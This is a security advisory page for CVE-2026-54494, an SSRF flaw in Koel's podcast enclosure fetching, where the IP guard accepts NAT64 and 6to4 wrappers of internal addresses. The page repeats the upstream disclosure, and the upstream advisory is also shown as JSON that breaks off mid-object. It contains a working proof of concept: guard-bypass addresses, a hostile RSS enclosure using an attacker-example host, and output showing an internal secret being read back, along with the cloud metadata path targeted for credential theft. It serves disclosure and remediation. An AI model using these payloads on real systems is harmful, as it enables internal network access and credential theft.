CVE-2026-54494: Koel Full-read SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-rjg7-r26h-cfp2
CWE-918
Published
Advisory Summary

CVE-2026-54494 is a MODERATE full-read ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Koel libraries in the Packagist ecosystem. The issue involves full-read ssrf via podcast enclosure url: ispublichost() filter_var guard does not reject nat64 (64:ff9b::/96) or 6to4 (2002::/16) ipv6-transition wrappers of internal ipv4. Remediation is available by upgrading affected packages to version 9.7.1.

CVE-2026-54494 at a Glance

CVE Identifier CVE-2026-54494
GHSA Identifier GHSA-rjg7-r26h-cfp2
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Koel
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-54494

To remediate this vulnerability, upgrade all affected Koel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phanan/koel fixed: 9.7.1
Upgrade phanan/koel to 9.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phanan/koel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54494, inspect your project dependencies for Koel:

inspect dependencies for phanan/koel

Analyze the terminal output to locate any version of Koel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.7.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Koel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Koel's outbound-URL guard `App\Helpers\Network::isPublicHost()` classifies an IP as "public" using PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. That flag set does **not** recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix `64:ff9b::/96` (RFC 6052) and 6to4 `2002::/16` (RFC 3056). An address such as `64:ff9b::7f00:1` (= `127.0.0.1`), `64:ff9b::a9fe:a9fe` (= `169.254.169.254`, the cloud metadata endpoint), or `2002:a00:1::` (= `10.0.0.1`) is reported as a public address, so the guard returns `true` and Koel proceeds to fetch the URL. The guard is the only SSRF defense in front of `App\Values\Podcast\EpisodePlayable::createForEpisode()`, which downloads a podcast episode with `Http::sink($file)->get($url)` and streams the response body back to the requesting user. Because an attacker fully controls the `<enclosure url>` of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an `AAAA` record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker. This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata. ## Vulnerable code `app/Helpers/Network.php` — `isPublicHost()` (the literal-IP branch and the per-resolved-record branch use the identical predicate): ```php public function isPublicHost(string $host): bool { if (filter_var($host, FILTER_VALIDATE_IP)) { return ( filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false ); } try { $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []); } catch (Throwable) { return false; } if ($records === []) { return false; } foreach ($records as $record) { $ip = $record['ip'] ?? $record['ipv6'] ?? null; if ( !$ip || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false ) { return false; } } return true; } ``` `PHP`'s `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:a.b.c.d`), but treats NAT64 `64:ff9b::/96` and 6to4 `2002::/16` as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to. The sink, `app/Values/Podcast/EpisodePlayable.php` — `createForEpisode()`: ```php $network = app(Network::class); $url = (string) $episode->path; if (!$network->isSafeUrl($url)) { // isSafeUrl() -> isPublicHost(), the only guard throw UnsafeUrlException::forUrl($url); } Http::sink($file) ->withOptions([ 'allow_redirects' => [ 'max' => 5, 'on_redirect' => static function ( RequestInterface $request, ResponseInterface $response, UriInterface $uri, ) use ($network): void { if (!$network->isSafeUrl((string) $uri)) { // same guard on redirects -> same bypass throw UnsafeUrlException::forUrl((string) $uri); } }, ], ]) ->get($url) // full-read SSRF: response streamed into $file ->throw(); ``` `$episode->path` is the `<enclosure url>` from the subscribed podcast RSS feed. The redirect callback reuses the same `isSafeUrl()`, so a redirect to a NAT64/6to4 host is also accepted. ## Attack scenario / How input reaches the sink 1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is `<enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>`, where `int.attacker.example` publishes `AAAA = 64:ff9b::a9fe:a9fe` (NAT64 wrapper of `169.254.169.254`) or `2002:a00:1::` (6to4 wrapper of `10.0.0.1`). The attacker may also use a bare IPv6-literal enclosure host directly. 2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode. 3. `EpisodePlayable::createForEpisode()` calls `isSafeUrl($url)`. The host resolves to the NAT64/6to4 address; `isPublicHost()` runs `filter_var(NO_PRIV_RANGE | NO_RES_RANGE)` over the embedded-IPv4 transition form and returns `true`. 4. `Http::sink($file)->get($url)` connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to `$file` and served back to the user — full-read SSRF against internal services / cloud IMDS. ## Proof of concept ### (a) Guard-predicate proof (PHP 8.5, the exact `filter_var` call) ```php <?php function isPublicHost_literal(string $ip): bool { // koel Network::isPublicHost literal branch if (!filter_var($ip, FILTER_VALIDATE_IP)) return false; return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false; } foreach ([ ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'], ['NAT64(10.0.0.1)','64:ff9b::a00:1'], ['6to4(127.0.0.1)','2002:7f00:1::'], ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'], ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'], ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'], ] as [$l,$ip]) printf("%-30s %-22s passes_public=%s\n",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)'); ``` Verbatim output: ``` NAT64(127.0.0.1) 64:ff9b::7f00:1 passes_public=YES(BYPASS) NAT64(169.254.169.254 IMDS) 64:ff9b::a9fe:a9fe passes_public=YES(BYPASS) NAT64(10.0.0.1) 64:ff9b::a00:1 passes_public=YES(BYPASS) 6to4(127.0.0.1) 2002:7f00:1:: passes_public=YES(BYPASS) 6to4(169.254.169.254) 2002:a9fe:a9fe:: passes_public=YES(BYPASS) 6to4(10.0.0.1) 2002:a00:1:: passes_public=YES(BYPASS) direct 127.0.0.1 127.0.0.1 passes_public=no(blocked) direct 10.0.0.1 10.0.0.1 passes_public=no(blocked) direct 169.254.169.254 169.254.169.254 passes_public=no(blocked) IPv4-mapped ::ffff:10.0.0.1 ::ffff:10.0.0.1 passes_public=no(blocked) ``` ### End-to-end reproduction against pinned koel v9.5.0 Environment: `git clone --branch v9.5.0 https://github.com/koel/koel.git` + `composer install`, run inside a `php:8.5-cli` container started with `--cap-add=NET_ADMIN` so the NAT64 and 6to4 prefixes can be assigned to `lo`, simulating a NAT64/dual-stack host's kernel routing: ``` ip -6 addr add 64:ff9b::7f00:1/128 dev lo # NAT64 wrapper of 127.0.0.1 -> loopback ip -6 addr add 2002:7f00:1::/128 dev lo # 6to4 wrapper of 127.0.0.1 -> loopback ``` A localhost stand-in "internal IMDS" server listens on those literals and returns `SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64`. The harness boots a real Laravel container, resolves the **genuine released** `App\Helpers\Network` (from `app/Helpers/Network.php`), invokes its real `isPublicHost()` on each attacker `AAAA`-record value, then runs the verbatim `EpisodePlayable::createForEpisode()` body (`isSafeUrl` guard, then `Http::sink($file)->get($url)` via Laravel's real Guzzle-backed client): ```php $network = $app->make(App\Helpers\Network::class); // resolved from app/Helpers/Network.php // STEP 1: genuine guard decision on the attacker AAAA-record value foreach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false'; // STEP 2: verbatim createForEpisode body if (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ } else { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ } ``` Verbatim output: ``` Network class (genuine released koel source): App\Helpers\Network Resolved from: /app/app/Helpers/Network.php Guard predicate source (app/Helpers/Network.php isPublicHost): filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ==== isPublicHost(64:ff9b::7f00:1 ) = true [NAT64(127.0.0.1) -> loopback] expect=bypass-expected isPublicHost(64:ff9b::a9fe:a9fe ) = true [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected isPublicHost(2002:a00:1:: ) = true [6to4(10.0.0.1) -> RFC1918] expect=bypass-expected isPublicHost(10.0.0.1 ) = false [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block isPublicHost(::ffff:10.0.0.1 ) = false [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block isPublicHost(127.0.0.1 ) = false [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block isPublicHost(8.8.8.8 ) = true [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow ==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ==== [IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line="GET /secret HTTP/1.1" Host: [64:ff9b::7f00:1]:18099 [NAT64 well-known of 127.0.0.1] url=http://[64:ff9b::7f00:1]:18099/secret guard=PASSED fetched=YES status=200 sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64 [IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line="GET /secret HTTP/1.1" Host: [2002:7f00:1::]:18099 [6to4 of 127.0.0.1] url=http://[2002:7f00:1::]:18099/secret guard=PASSED fetched=YES status=200 sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64 [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] url=http://10.0.0.1:18099/secret guard=REJECTED fetched=no status=- sink_body=(none) ==== E2E DONE ==== ``` Result: both NAT64 and 6to4 enclosure URLs pass the genuine `isPublicHost`/`isSafeUrl` guard, the genuine `Http::sink()->get()` connects to the internal stand-in, and the internal response body (`SENTINEL_INTERNAL_IMDS_SECRET=...`) is read back — full-read SSRF. ### Negative controls - `http://10.0.0.1` (direct RFC 1918) — guard `REJECTED`, no fetch (shown above). - `::ffff:10.0.0.1` (IPv4-mapped IPv6) and `127.0.0.1` / `169.254.169.254` (direct) — `isPublicHost(...) = false` (shown in STEP 1). The existing guard correctly blocks every form **except** the two transition wrappers, confirming the gap is specific to NAT64 `64:ff9b::/96` and 6to4 `2002::/16`. - `8.8.8.8` (public) — `isPublicHost(...) = true` (positive control: legitimate public hosts are unaffected by the proposed fix). ## Impact Full-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses: - Cloud instance metadata (`http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...`) — credential / IAM-role token theft on AWS/GCP/Azure. - Internal-only HTTP services (admin panels, databases with HTTP fronts, `localhost` daemons) reachable from the Koel host. Precondition: the Koel host has NAT64 (`64:ff9b::/96`) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all. ## Suggested fix In `isPublicHost()`, before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:0:0/96`, already covered by the flag but should be unwrapped for consistency), Teredo (`2001::/32`) and IPv4-compatible (`::/96`) wrappers, extract the embedded IPv4, and require it to pass `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below. ## Fix PR A fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's "Collaborators" / fix workflow). It adds an `extractEmbeddedIpv4()` helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing `NO_PRIV_RANGE | NO_RES_RANGE` predicate in both the literal-IP and per-resolved-record branches of `isPublicHost()`, and adds regression tests. ## Credit Reported by tonghuaroot.

CVE-2026-54494 Affected Koel Versions

1 component(s)
Fixed Versions:
9.7.1
Product / Package Ecosystem Affected Versions Fixed Version
phanan/koel
Packagist
< 9.7.1
9.7.1

References

Frequently Asked Questions

What is CVE-2026-54494?
CVE-2026-54494 is a security vulnerability in Koel involving Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4 under CWE-918: Server-Side Request Forgery (SSRF).
Which Koel versions are affected?
Affected versions include releases prior to 9.7.1 across affected packages: phanan/koel.
What version fixes CVE-2026-54494?
Upgrading to 9.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phanan/koel affected?
Yes, phanan/koel is affected in releases prior to 9.7.1. Upgrade your dependency to 9.7.1 or later.
What CWE is associated with CVE-2026-54494?
CVE-2026-54494 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-54494?
Run the dependency tree command: 'inspect dependencies for phanan/koel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rjg7-r26h-cfp2",
  "modified" : "2026-07-15T18:21:39Z",
  "published" : "2026-07-15T18:21:39Z",
  "aliases" : [ "CVE-2026-54494" ],
  "summary" : "Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4",
  "details" : "## Summary\n\nKoel's outbound-URL guard `App\\Helpers\\Network::isPublicHost()` classifies an IP as \"public\" using PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. That flag set does **not** recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix `64:ff9b::/96` (RFC 6052) and 6to4 `2002::/16` (RFC 3056). An address such as `64:ff9b::7f00:1` (= `127.0.0.1`), `64:ff9b::a9fe:a9fe` (= `169.254.169.254`, the cloud metadata endpoint), or `2002:a00:1::` (= `10.0.0.1`) is reported as a public address, so the guard returns `true` and Koel proceeds to fetch the URL.\n\nThe guard is the only SSRF defense in front of `App\\Values\\Podcast\\EpisodePlayable::createForEpisode()`, which downloads a podcast episode with `Http::sink($file)->get($url)` and streams the response body back to the requesting user. Because an attacker fully controls the `<enclosure url>` of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an `AAAA` record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.\n\nThis is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.\n\n## Vulnerable code\n\n`app/Helpers/Network.php` — `isPublicHost()` (the literal-IP branch and the per-resolved-record branch use the identical predicate):\n\n```php\npublic function isPublicHost(string $host): bool\n{\n    if (filter_var($host, FILTER_VALIDATE_IP)) {\n        return (\n            filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false\n        );\n    }\n\n    try {\n        $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);\n    } catch (Throwable) {\n        return false;\n    }\n\n    if ($records === []) {\n        return false;\n    }\n\n    foreach ($records as $record) {\n        $ip = $record['ip'] ?? $record['ipv6'] ?? null;\n\n        if (\n            !$ip\n            || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false\n        ) {\n            return false;\n        }\n    }\n\n    return true;\n}\n```\n\n`PHP`'s `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:a.b.c.d`), but treats NAT64 `64:ff9b::/96` and 6to4 `2002::/16` as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.\n\nThe sink, `app/Values/Podcast/EpisodePlayable.php` — `createForEpisode()`:\n\n```php\n$network = app(Network::class);\n$url = (string) $episode->path;\n\nif (!$network->isSafeUrl($url)) {            // isSafeUrl() -> isPublicHost(), the only guard\n    throw UnsafeUrlException::forUrl($url);\n}\n\nHttp::sink($file)\n    ->withOptions([\n        'allow_redirects' => [\n            'max' => 5,\n            'on_redirect' => static function (\n                RequestInterface $request,\n                ResponseInterface $response,\n                UriInterface $uri,\n            ) use ($network): void {\n                if (!$network->isSafeUrl((string) $uri)) {   // same guard on redirects -> same bypass\n                    throw UnsafeUrlException::forUrl((string) $uri);\n                }\n            },\n        ],\n    ])\n    ->get($url)                              // full-read SSRF: response streamed into $file\n    ->throw();\n```\n\n`$episode->path` is the `<enclosure url>` from the subscribed podcast RSS feed. The redirect callback reuses the same `isSafeUrl()`, so a redirect to a NAT64/6to4 host is also accepted.\n\n## Attack scenario / How input reaches the sink\n\n1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is `<enclosure url=\"http://int.attacker.example/secret\" type=\"audio/mpeg\"/>`, where `int.attacker.example` publishes `AAAA = 64:ff9b::a9fe:a9fe` (NAT64 wrapper of `169.254.169.254`) or `2002:a00:1::` (6to4 wrapper of `10.0.0.1`). The attacker may also use a bare IPv6-literal enclosure host directly.\n2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.\n3. `EpisodePlayable::createForEpisode()` calls `isSafeUrl($url)`. The host resolves to the NAT64/6to4 address; `isPublicHost()` runs `filter_var(NO_PRIV_RANGE | NO_RES_RANGE)` over the embedded-IPv4 transition form and returns `true`.\n4. `Http::sink($file)->get($url)` connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to `$file` and served back to the user — full-read SSRF against internal services / cloud IMDS.\n\n## Proof of concept\n\n### (a) Guard-predicate proof (PHP 8.5, the exact `filter_var` call)\n\n```php\n<?php\nfunction isPublicHost_literal(string $ip): bool {        // koel Network::isPublicHost literal branch\n    if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;\n    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;\n}\nforeach ([\n  ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],\n  ['NAT64(10.0.0.1)','64:ff9b::a00:1'],   ['6to4(127.0.0.1)','2002:7f00:1::'],\n  ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],\n  ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],\n  ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],\n] as [$l,$ip]) printf(\"%-30s %-22s passes_public=%s\\n\",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)');\n```\n\nVerbatim output:\n\n```\nNAT64(127.0.0.1)               64:ff9b::7f00:1        passes_public=YES(BYPASS)\nNAT64(169.254.169.254 IMDS)    64:ff9b::a9fe:a9fe     passes_public=YES(BYPASS)\nNAT64(10.0.0.1)                64:ff9b::a00:1         passes_public=YES(BYPASS)\n6to4(127.0.0.1)                2002:7f00:1::          passes_public=YES(BYPASS)\n6to4(169.254.169.254)          2002:a9fe:a9fe::       passes_public=YES(BYPASS)\n6to4(10.0.0.1)                 2002:a00:1::           passes_public=YES(BYPASS)\ndirect 127.0.0.1               127.0.0.1              passes_public=no(blocked)\ndirect 10.0.0.1                10.0.0.1               passes_public=no(blocked)\ndirect 169.254.169.254         169.254.169.254        passes_public=no(blocked)\nIPv4-mapped ::ffff:10.0.0.1    ::ffff:10.0.0.1        passes_public=no(blocked)\n```\n\n### End-to-end reproduction against pinned koel v9.5.0\n\nEnvironment: `git clone --branch v9.5.0 https://github.com/koel/koel.git` + `composer install`, run inside a `php:8.5-cli` container started with `--cap-add=NET_ADMIN` so the NAT64 and 6to4 prefixes can be assigned to `lo`, simulating a NAT64/dual-stack host's kernel routing:\n\n```\nip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -> loopback\nip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -> loopback\n```\n\nA localhost stand-in \"internal IMDS\" server listens on those literals and returns `SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64`. The harness boots a real Laravel container, resolves the **genuine released** `App\\Helpers\\Network` (from `app/Helpers/Network.php`), invokes its real `isPublicHost()` on each attacker `AAAA`-record value, then runs the verbatim `EpisodePlayable::createForEpisode()` body (`isSafeUrl` guard, then `Http::sink($file)->get($url)` via Laravel's real Guzzle-backed client):\n\n```php\n$network = $app->make(App\\Helpers\\Network::class);   // resolved from app/Helpers/Network.php\n// STEP 1: genuine guard decision on the attacker AAAA-record value\nforeach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';\n// STEP 2: verbatim createForEpisode body\nif (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }\nelse { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }\n```\n\nVerbatim output:\n\n```\nNetwork class (genuine released koel source): App\\Helpers\\Network\nResolved from: /app/app/Helpers/Network.php\nGuard predicate source (app/Helpers/Network.php isPublicHost):\n    filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)\n\n==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====\n  isPublicHost(64:ff9b::7f00:1     ) = true   [NAT64(127.0.0.1)  -> loopback] expect=bypass-expected\n  isPublicHost(64:ff9b::a9fe:a9fe  ) = true   [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected\n  isPublicHost(2002:a00:1::        ) = true   [6to4(10.0.0.1)   -> RFC1918] expect=bypass-expected\n  isPublicHost(10.0.0.1            ) = false  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block\n  isPublicHost(::ffff:10.0.0.1     ) = false  [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block\n  isPublicHost(127.0.0.1           ) = false  [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block\n  isPublicHost(8.8.8.8             ) = true   [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow\n\n==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====\n[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line=\"GET /secret HTTP/1.1\" Host: [64:ff9b::7f00:1]:18099\n  [NAT64 well-known of 127.0.0.1]\n    url=http://[64:ff9b::7f00:1]:18099/secret\n    guard=PASSED fetched=YES status=200\n    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line=\"GET /secret HTTP/1.1\" Host: [2002:7f00:1::]:18099\n  [6to4 of 127.0.0.1]\n    url=http://[2002:7f00:1::]:18099/secret\n    guard=PASSED fetched=YES status=200\n    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]\n    url=http://10.0.0.1:18099/secret\n    guard=REJECTED fetched=no status=-\n    sink_body=(none)\n\n==== E2E DONE ====\n```\n\nResult: both NAT64 and 6to4 enclosure URLs pass the genuine `isPublicHost`/`isSafeUrl` guard, the genuine `Http::sink()->get()` connects to the internal stand-in, and the internal response body (`SENTINEL_INTERNAL_IMDS_SECRET=...`) is read back — full-read SSRF.\n\n### Negative controls\n\n- `http://10.0.0.1` (direct RFC 1918) — guard `REJECTED`, no fetch (shown above).\n- `::ffff:10.0.0.1` (IPv4-mapped IPv6) and `127.0.0.1` / `169.254.169.254` (direct) — `isPublicHost(...) = false` (shown in STEP 1). The existing guard correctly blocks every form **except** the two transition wrappers, confirming the gap is specific to NAT64 `64:ff9b::/96` and 6to4 `2002::/16`.\n- `8.8.8.8` (public) — `isPublicHost(...) = true` (positive control: legitimate public hosts are unaffected by the proposed fix).\n\n## Impact\n\nFull-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:\n\n- Cloud instance metadata (`http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...`) — credential / IAM-role token theft on AWS/GCP/Azure.\n- Internal-only HTTP services (admin panels, databases with HTTP fronts, `localhost` daemons) reachable from the Koel host.\n\nPrecondition: the Koel host has NAT64 (`64:ff9b::/96`) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.\n\n## Suggested fix\n\nIn `isPublicHost()`, before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:0:0/96`, already covered by the flag but should be unwrapped for consistency), Teredo (`2001::/32`) and IPv4-compatible (`::/96`) wrappers, extract the embedded IPv4, and require it to pass `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.\n\n## Fix PR\n\nA fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's \"Collaborators\" / fix workflow). It adds an `extractEmbeddedIpv4()` helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing `NO_PRIV_RANGE | NO_RES_RANGE` predicate in both the literal-IP and per-resolved-record branches of `isPublicHost()`, and adds regression tests.\n\n## Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phanan/koel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.7.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.7.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/security/advisories/GHSA-rjg7-r26h-cfp2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/pull/2549"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/koel/koel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/releases/tag/v9.7.1"
  } ],
  "database_specific" : {
